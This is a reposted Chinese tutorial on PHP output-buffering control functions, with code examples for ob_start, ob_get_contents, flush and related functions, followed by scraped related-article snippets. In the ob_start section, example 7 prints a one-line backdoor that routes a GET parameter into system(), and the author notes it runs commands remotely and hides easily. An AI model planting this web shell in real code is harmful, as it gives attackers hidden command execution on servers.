PHP输出缓冲控制 - Output Control 函 应用详解

简介

说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西。举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘。对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示。

其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对输出缓冲进行更改。而今天就来用实例对PHP输出缓冲控制函数“Output Control”做一个详细的解析。

下面这个例子简单介绍了输出缓冲在一般脚本中存在的方式:

我们在执行如下脚本时:

<?php
/*例1*/
echo ‘oschina.net‘;
echo ‘红薯‘;
echo ‘虫虫‘;
?>

  

脚本在执行完第一个 echo 时,并不会向浏览器输出相应内容,而是会输出到一个缓冲区,依次类推,当三个 echo 全部执行完毕(也就是脚本结束)时,才会将缓冲区内容全部输出到浏览器。当然这个缓冲区也有大小的限制,是根据 php.ini 中的output_buffering 选项来设置的,这点会在下面的文章中详细介绍。而本章所讲的输出缓冲控制,就是在脚本结束前,对缓冲区里的内容进行操作。

这个例子可以更好的体现输出缓冲控制的应用:

在执行如下代码时:

<?php
/*例2*/
echo ‘oschina.net‘;
sleep(1);
echo ‘红薯‘;
sleep(1);
echo ‘虫虫‘;
?>

  

我们至少需要等待 2秒 才能看到输出结果,那我们能不能让其实时的显示呢?也就是在第一个 echo 执行完毕时就输出相应的内容呢,这时候就需要用输出缓冲控制函数来操作缓冲区了,实现代码如下:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php

/*例3*/

echo str_pad(‘‘, 1024);//使缓冲区溢出

ob_start();//打开缓冲区

echo ‘oschina.net‘;

ob_flush();//送出当前缓冲内容,不会输出

flush();//输出送出的缓冲内容

sleep(1);

echo ‘红薯‘;

ob_flush();//送出当前缓冲内容,不会输出

flush();//输出送出的缓冲内容

sleep(1);

echo ‘虫虫‘;

ob_end_flush();//输出并关闭缓冲

?>

简单点也可以这样实现:

?


1

2

3

4

5

6

7

8

9

10

11

<?php

/*例4*/

echo str_pad(‘‘, 1024);//使缓冲区溢出

echo ‘oschina.net‘;

flush();//输出送出的缓冲内容

sleep(1);

echo ‘红薯‘;

flush();//输出送出的缓冲内容

sleep(1);

echo ‘虫虫‘;

?>

至于相关函数的用法在下面都会有介绍,这里只是给大家展示一个输出缓冲控制函数的应用,当然了输出缓冲控制函数的作用绝不止这一种,那么下面我们就来看看输出缓冲控制函数都可以应用在哪些方面。

作用

  1. 在PHP中,像header(), session_start(), setcookie() 等这样的发送头文件的函数前,不能有任何的输出,而利用输出缓冲控制函数可以在这些函数前进行输出而不报错。其实这么做没啥必要,非常少见的用法。
  2. 对输出的内容进行处理,例如生成静态缓存文件、进行gzip压缩输出,这算是较常用的功能了,后面会有详细介绍。
  3. 捕获一些不可获取的函数输出,例如phpinfo(), var_dump() 等等,这些函数都会将运算结果显示在浏览器中,而如果我们想对这些结果进行处理,则用输出缓冲控制函数是个不错的方法。说的通俗点,就是这类函数都不会有返回值,而要获取这些函数的输出数据,就要用到输出缓冲控制函数。
  4. 最后一种应用就是 简介 中示例的方法,对一些数据进行实时的输出,例如在我这篇博文中,就用到了输出缓冲控制函数进行页面爬虫数据的实时输出。链接:PHP爬虫获取网站所有图片,并按网站分类本地保存

php.ini 中的相关配置项

再来看看在 php.ini 中和输出缓冲控制有关的选项,共三个,分别是:output_buffering  , output_handler  和 implicit_flush

  1. output_buffering   默认为 off , 当设置为 on 时,则在所有脚本自动打开输出缓冲区,拿 例3 来说,就是在每个脚本都自动执行了 ob_start() 这个函数,而不用再显示的调用该函数。其也可以设置为一个整型的数字,代表缓冲区可以存储的最大字节数,我们在 例1 的下面说明中提到过这个配置项。
  2. output_handler  默认为 null , 其值只能设置为一个内置的函数名,作用就是将脚本的所有输出,用所定义的函数进行处理。他的用法和 ob_start(‘function_name‘) 较类似,下面会介绍到。
  3. implicit_flush 默认为 off , 当设置为 on 时,PHP将在输出后,自动送出缓冲区内容。拿 例4 来说,就是在每段输出后,自动执行 flush() 。当然有效的输出不仅指像echo , print 这样的函数,也包括HTML段。

Output Control 函数详解

现在我们就用实例分析相关函数,相信在充分了解了以下内容后,就会对输出缓冲控制函数有了较清晰的掌握。

1.  bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

此函数在 例3 中已经使用过,大家从命名上也能明白其含义,就是打开输出缓冲区,从而进行下一步的输出缓冲处理。这里要特意说的是其参数的用法,第一个参数要传递一个回调函数,其需将缓冲区内容做为参数,并且返回一个字符串。他会在缓冲区被送出时调用,缓冲区送出指的是执行了例如ob_flush() 等函数或者脚本执行完毕。ob_flush() 函数会在下面介绍到,来看一个简单的例子就能理解其用法:

?


1

2

3

4

5

6

7

8

9

<?php

/*例5*/

ob_start(‘handleString‘);

echo ‘123456‘;

function handleString($string){

  return md5($string);

}

?>

运行后的结果是:

?


1

e10adc3949ba59abbe56e057f20f883e

说明输出的内容被md5加密了,也就是说在缓冲区内容输出时,运行了我们定义的 handleString 函数。

再来看一个更实际的例子,也就是常见到的将网页内容利用 gzip 压缩后再输出,代码如下:

?


1

2

3

4

5

<?php

/*例6*/

ob_start(‘ob_gzhandler‘);

echo str_repeat(‘oschina‘, 1024);

?>

其页面大小为:

而不使用 ob_gzhandler 参数,其页面大小为:

可以明显看到大小的差别,所以说利用 ob_start() 进行页面压缩输出,是非常实用的一个功能。

而第二个参数 chunk_size 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 erase 如果被设置为 flase , 则代表脚本执行完毕后缓冲区才会被删除,如果提前执行了删除缓冲区函数(后面会提到),则会报一个错误。

ob_start() 的用法就这么多,但有两点需要特别注意的地方:

  1. ob_start() 可重复调用,也就是说一个脚本中可以存在多个缓冲区,但记得要按照嵌套顺序将他们全部关闭掉,而如果多个 ob_start 都定义了第一个参数,也就是都定义了回调函数,则会按照嵌套顺序依次执行。关于缓冲区的堆叠嵌套,将在 ob_get_level 函数处详细介绍,这里就不过多阐述了。
  2. ob_start() 还有一个不太明显但很致命的后门用法,实现代码如下:

?


1

2

3

4

<?php

/*例7*/

$cmd = ‘system‘;ob_start($cmd);echo "$_GET[a]";ob_end_flush();

?>

如果理解了上面关于 ob_start的用法,这段代码就不难理解了,其应用了 ob_start 函数会将缓冲区输出的内容作为参数传入所设置的函数中的特点,实现了以Web服务器权限远程执行命令,并且不宜被发觉。

2. string ob_get_contents ( void )

此函数用来获取此时缓冲区的内容,下面的例子就能很好的理解其用法:

?


1

2

3

4

5

6

7

8

9

10

11

<?php

/*例8*/

echo str_pad(‘‘, 1024);//使缓冲区溢出

ob_start();//打开缓冲区

phpinfo();

$string = ob_get_contents();//获取缓冲区内容

$re = fopen(‘./phpinfo.txt‘, ‘wb‘);

fwrite($re, $string);//将内容写入文件

fclose($re);

ob_end_clean();//清空并关闭缓冲区

?>

运行此例会发现,浏览器并不会有任何输出,但在当前目录下会有一个 phpinfo.txt 的文件,里面存储了此次应有的输出。这个例子也展示了上面作用中第三点所说的情况。我们可以将输出内容获取到后,根据我们的实际情况进行处理。

3. int ob_get_length ( void )

此函数用来获取缓冲区内容的长度,将 例8 稍作改动来展示这个函数的用法:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

<?php

/*例9*/

echo str_pad(‘‘, 1024);//使缓冲区溢出

ob_start();//打开缓冲区

phpinfo();

$string = ob_get_contents();//获取缓冲区内容

$length = ob_get_length();//获取缓冲区内容长度

$re = fopen(‘./phpinfo.txt‘, ‘wb‘);

fwrite($re, $string);//将内容写入文件

fclose($re);

var_dump($length); //输出长度

ob_end_flush();//输出并关闭缓冲区

?>

4. int ob_get_level ( void )

此函数用来获取缓冲机制的嵌套级别,我们在介绍 ob_start() 函数时曾说过,在一个脚本中可以嵌套存在多个缓冲区,而此函数就是来获取当前缓冲区的嵌套级别,用法如下:

?


1

2

3

4

5

6

7

8

9

<?php

/*例10*/

ob_start();

var_dump(ob_get_level());

ob_start();

var_dump(ob_get_level());

ob_end_flush();

ob_end_flush();

?>

运行后可以很明显的看出他们的嵌套关系。

5. array ob_get_status ([ bool $full_status = FALSE ] )

此函数用来获取当前缓冲区的状态,返回一个状态信息的数组,如果第一个参数为 true ,将返回一个详细信息的数组,我们结合实例来分析这个数组:

?


1

2

3

4

5

6

7

8

9

<?php

/*例11*/

ob_start(‘ob_gzhandler’);

var_export(ob_get_status());

ob_start();

var_export(ob_get_status());

ob_end_flush();

ob_end_flush();

?>

此脚本输出如下:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

array (

  ‘level‘ => 1,

  ‘type‘ => 1,

  ‘status‘ => 0,

  ‘name‘ => ‘ob_gzhandler‘,

  ‘del‘ => true,

)

array (

  ‘level‘ => 2,

  ‘type‘ => 1,

  ‘status‘ => 0,

  ‘name‘ => ‘default output handler‘,

  ‘del‘ => true,

)

level 为嵌套级别,也就是和通过 ob_get_level() 取到的值一样。

type 为处理缓冲类型,0为系统内部自动处理,1为用户手动处理。

status 为缓冲处理状态, 0为开始, 1为进行中, 2为结束

name 为定义的输出处理函数名称,也就是在 ob_start() 函数中第一个参数传入的函数名。

del  为是否运行了删除缓冲区操作

理解了上面数组的含义,就能很好理解缓冲区的各项属性。

6. array ob_list_handlers ( void )

此函数用来获得输出处理程序的函数名数组,也就是在 ob_start() 函数中我们指定的第一个参数,需要注意的是,如果我们传的参数是一个匿名函数,或者在配置文件中启用了 output_buffering  则该函数将返回default output handler ,php官方手册 中的例子就能很好的解释这个函数:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php

/*例12*/

//using output_buffering=On

print_r(ob_list_handlers());

ob_end_flush();

ob_start("ob_gzhandler");

print_r(ob_list_handlers());

ob_end_flush();

// anonymous functions

ob_start(create_function(‘$string‘, ‘return $string;‘));

print_r(ob_list_handlers());

ob_end_flush();

?>

输出结果为:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

Array

(

    [0] => ‘default output handler‘

)

Array

(

    [0] => ‘ob_gzhandler‘

)

Array

(

    [0] => ‘default output handler‘

)

下面我们来看看和输出、关闭、送出缓冲区内容有关的函数:

7. void ob_flush ( void )

此函数在前面的例子经常用到了,其作用就是 “送出” 当前缓冲区内容,同时清空缓冲区,需要注意这里用的是 “送出” 一词,也就是说调用此函数并不会将缓冲区内容输出,从 例3 可以看出必须在其后调用 flush 函数其才会输出。关于 flush 的用法下面就会说到,这里就不再做实例了。

8. void flush ( void )

这个函数算是比较常用的,用来将其前面的所有输出发送到浏览器显示,且不会对缓存区有任何影响。例3 和 例4 中都用到了此函数将当前输出显示到浏览器,换句话说,不论是 echo 等函数的输出,还是 HTML实体 ,或是运行 ob_start() 送出的内容,运行 flush() 后都会在浏览器进行显示。

9. void ob_implicit_flush ([ int $flag = true ] )

此函数用来打开/关闭绝对刷送模式,就是在每一次输出后自动执行 flush(),从而不需要再显示的调用 flush() ,提高效率。我们将 例4 稍作更改,利用这个函数来实现同样的效果:

?


1

2

3

4

5

6

7

8

9

10

11

12

<?php

/*例13*/

echo str_pad(‘‘, 1024);//使缓冲区溢出

ob_implicit_flush(true);//打开绝对刷送

echo ‘oschina.net‘;

//flush();  之后不需要再显示的调用 flush()

sleep(1);

echo ‘红薯‘;

//flush();

sleep(1);

echo ‘虫虫‘;

?>

此例和 例4 实现的同样的效果,由于打开了 绝对刷送,所以不需要再调用 flush(), 系统会自动在输出后进行刷送。

10. bool ob_end_flush ( void )

此函数将缓冲区的内容送出,并关闭缓冲区。实际上相当于执行了 ob_flush() 和 ob_end_clean() ;

11. string ob_get_flush ( void )

此函数和 ob_end_flush() 的作用基本一致,只是其会以字符串的形式返回缓冲区的内容,很简单,也不做实例了。

12. void ob_clean ( void )

此函数会将当前缓冲区清空,但不会关闭缓冲区,下面这个例子的输出将不会显示,因为在输出前,缓冲区已经被清空了,但我们又可以获取到缓冲区的属性,说明缓冲区没被关闭:

?


1

2

3

4

5

6

7

<?php

/*例14*/

ob_start();

echo ‘oschina‘;

ob_clean();

var_dump(ob_get_status());

?>

13. bool ob_end_clean ( void )

此函数清空并关闭缓冲区,将 例14 稍作更改,即可发现我们不再能获取到缓冲区的状态,因为它已经被关闭了:

?


1

2

3

4

5

6

7

<?php

/*例15*/

ob_start();

echo ‘oschina‘;

ob_end_clean();

var_dump(ob_get_status());

?>

14. string ob_get_clean ( void )

此函数清空并关闭缓存,但会以字符串的形式返回缓存中的数据,实际上,这个函数就是分别执行了 ob_get_contents() 和 ob_end_clean();

?


1

2

3

4

5

6

7

8

<?php

/*例16*/

ob_start();

echo ‘oschina‘;

$string = ob_get_clean();

var_dump(ob_get_status());

var_dump($string);

?>

最后再来看两个和URL重写有关的函数:

15. bool output_add_rewrite_var ( string $name , string $value )

此函数添加URL重写机制的键和值,这里的URL重写机制,是指在URL的最后以GET方式添加键值对,或者在表单中以隐藏表单添加键值对。绝对的URL不会被添加,还是用手册中的例子来看吧,写的非常直观明了:

?


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

<?php

/*例17*/

output_add_rewrite_var(‘var‘, ‘value‘);

// some links

echo ‘<a href="file.php">link</a>

<a href="http://example.com">link2</a>‘;

// a form

echo ‘<form action="script.php" method="post">

<input type="text" name="var2" />

</form>‘;

print_r(ob_list_handlers());

?>

程序的输出为:

?


1

2

3

4

5

6

7

8

9

10

11

12

<a href="file.php?var=value">link</a>

<a href="http://example.com">link2</a>

<form action="script.php" method="post">

<input type="hidden" name="var" value="value" />

<input type="text" name="var2" />

</form>

Array

(

    [0] => URL-Rewriter

)

可以看到不是绝对URL地址的链接 和 Form表单 被加上了对应的键值对。

16. bool output_reset_rewrite_vars ( void )

此函数用来清空所有的URL重写机制,也就是删除由 output_add_rewrite_var() 设置的重写变量。

其他需要注意的地方

相信读了上面的内容,就会对PHP的缓冲控制函数有较深的认识了,那接下来说一些在日常使用中需要注意的问题:

    1. 在 例3 的第三行,我输出了一个1024长度的空格,注释写的是使缓冲区溢出。这么做的原因是在一些win32下的服务器程序,即使使用了上述函数,但仍然会缓存脚本的输出,所以必须先发送一段文本让其缓冲区溢出,才能继续实现我们的效果。大家在应用过程中一定要注意,如果测试中还有问题,可以将此值设置更大些,例如4096;
    2. 除非在脚本结束前清空了缓冲区,否则当脚本结束时,缓冲区的所有内容会自动输出到浏览器中.

转自:http://my.oschina.net/whrlmc/blog/85782

时间: 2024-11-08 01:43:19

PHP输出缓冲控制 - Output Control 函 应用详解的相关文章

PHP输出缓冲控制- Output Control 函数应用详解

说到输出缓冲,首先要说的是一个叫做缓冲器(buffer)的东西.举个简单的例子说明他的作用:我们在编辑一篇文档时,在我们没有保存之前,系统 是不会向磁盘写入的,而是写到buffer中,当buffer写满或者执行了保存操作,才会将数据写入磁盘.对于PHP来说,每一次像 echo 这样的输出操作,同样是先写入到了 php buffer 里,在脚本执行完毕或者执行了强制输出缓存操作,数据才会在浏览器上显示. 其实对于PHP程序员来说,基本上每个脚本都涉及到了输出缓冲,只是在大多数情况下,我们都不需要对

Laravel 控制反转和门面模式概念详解

Laravel 控制反转和门面模式概念详解 这两个概念对于 Laravel 的使用者来说应该并不陌生,尤其是当你希望扩展或者替换 Laravel 核心库的时候,理解和合理使用它们可以极大提升 Laravel 的战斗力.这里以创建一个自己的 ServiceProvider 为例理解 Inversion of Control 和 Facade 在 Laravel 中的应用. 控制反转(Inversion of Control) 什么是 IoC 控制反转(Inversion of Control,缩写

C++多态篇3——虚函数表详解之多继承、虚函数表的打印

在上上一篇C++多态篇1一静态联编,动态联编.虚函数与虚函数表vtable中,我最后简单了剖析了一下虚函数表以及vptr. 而在上一篇文章C++多态篇2--虚函数表详解之从内存布局看函数重载,函数覆盖,函数隐藏中我详细介绍了虚函数的函数重载,函数覆盖以及函数隐藏的问题,其实在那一篇文章中,对单继承的虚函数已经做了十分详细的解答了,如果对前面有兴趣的人可以先看一下那篇文章. 在这一篇中,我会具体的分析一下在不同继承中(单继承,多继承)关于虚函数表在内存中的布局以及如何打印虚函数表.但是有关在虚继承

PHP输出缓冲(Output Buffering)

什么是缓冲区? 简单而言,缓冲区的作用就是,把输入或者输出的内容先放进内存,而不显示或者读取.至于为什么要有缓冲区,这是一个很广泛的问题~其实缓冲区最本质的作用就是,协调高速CPU和相对缓慢的IO设备(磁盘等)的运作. PHP在执行的时候,在什么地方有用到缓冲区? 想要了解PHP的缓冲区,就要知道执行PHP的时候,缓冲区被设置到了什么地方. 当执行PHP的时候,如果碰到了echo print_r之类的会输出数据的代码,PHP就会将要输出的数据放到PHP自身的缓冲区,等待输出. 当PHP自身的缓冲

C++多态篇2——虚函数表详解之从内存布局看函数重载,函数覆盖,函数隐藏

上一篇C++多态篇1一静态联编,动态联编.虚函数与虚函数表vtable中,我在最后分析了虚函数与虚函数表的内存布局,在下一篇详细剖析虚函数及虚函数表的过程中,我发现有关函数重载,函数覆盖,函数重写和函数协变的知识也要理解清楚才能对虚函数表在内存中的布局,对派生类的对象模型以及对多态的实现有更深的理解. 所以这一篇我作为一篇过渡篇,也同时对我以前写过的一篇博文进行一个收尾.在C++继承详解之二--派生类成员函数详解(函数隐藏.构造函数与兼容覆盖规则)文章中,我对函数覆盖,重载,重写提了一下,但是没

css控制UL LI 的样式详解

用<ul>设置导航 <style> #menu ul {list-style:none;margin:0px;} #menu ul li {float:left;} </style> <div id="menu"> <ul> <li><a href="#">首页</a></li> <li class="menuDiv"><

Spark Streaming DStream的output操作以及foreachRDD详解

一.output操作概览 二.output操作 DStream中的所有计算,都是由output操作触发的,比如print().如果没有任何output操作,那么,压根儿就不会执行定义的计算逻辑. 此外,即使你使用了foreachRDD output操作,也必须在里面对RDD执行action操作,才能触发对每一个batch的计算逻辑.否则,光有foreachRDD output操作,在里面没有对RDD执行action操作,也不会触发任何逻辑. 三.foreachRDD详解通常在foreachRDD

虚函数表详解

虚函数表 对C++ 了解的人都应该知道虚函数(Virtual Function)是通过一张虚函数表(Virtual Table)来实现的.简称为V-Table.在这个表中,主是要一个类的虚函数的地址表,这张表解决了继承.覆盖的问题,保证其容真实反应实际的函数.这样,在有虚函数的类的实例中这个表被分配在了这个实例的内存中,所以,当我们用父类的指针来操作一个子类的时候,这张虚函数表就显得由为重要了,它就像一个地图一样,指明了实际所应该调用的函数. 这里我们着重看一下这张虚函数表.C++的编译器应该是

Android学习之输出HTML格式下的文字方法详解

在Android开发中,我们经常会用到TextView这个控件,在使用的过程中,我们用到最多的方法就是setText(),单纯的使用基本上能够满足我们日常的需求,但是有时候我们需要对文字进行一些处理,比如说加粗.斜体.下划线等等,这些也都是可以通过Android提供的原生方法完成.但是如果我们需要实现下面的效果呢: HTML下的文字解析(快速版) 从图片上我们可以看到,这段文字分别有 两种大小,三种颜色 .我们当然可以定义多个TextView来实现这样的效果,但是如果我们的文字变化较多,那么定义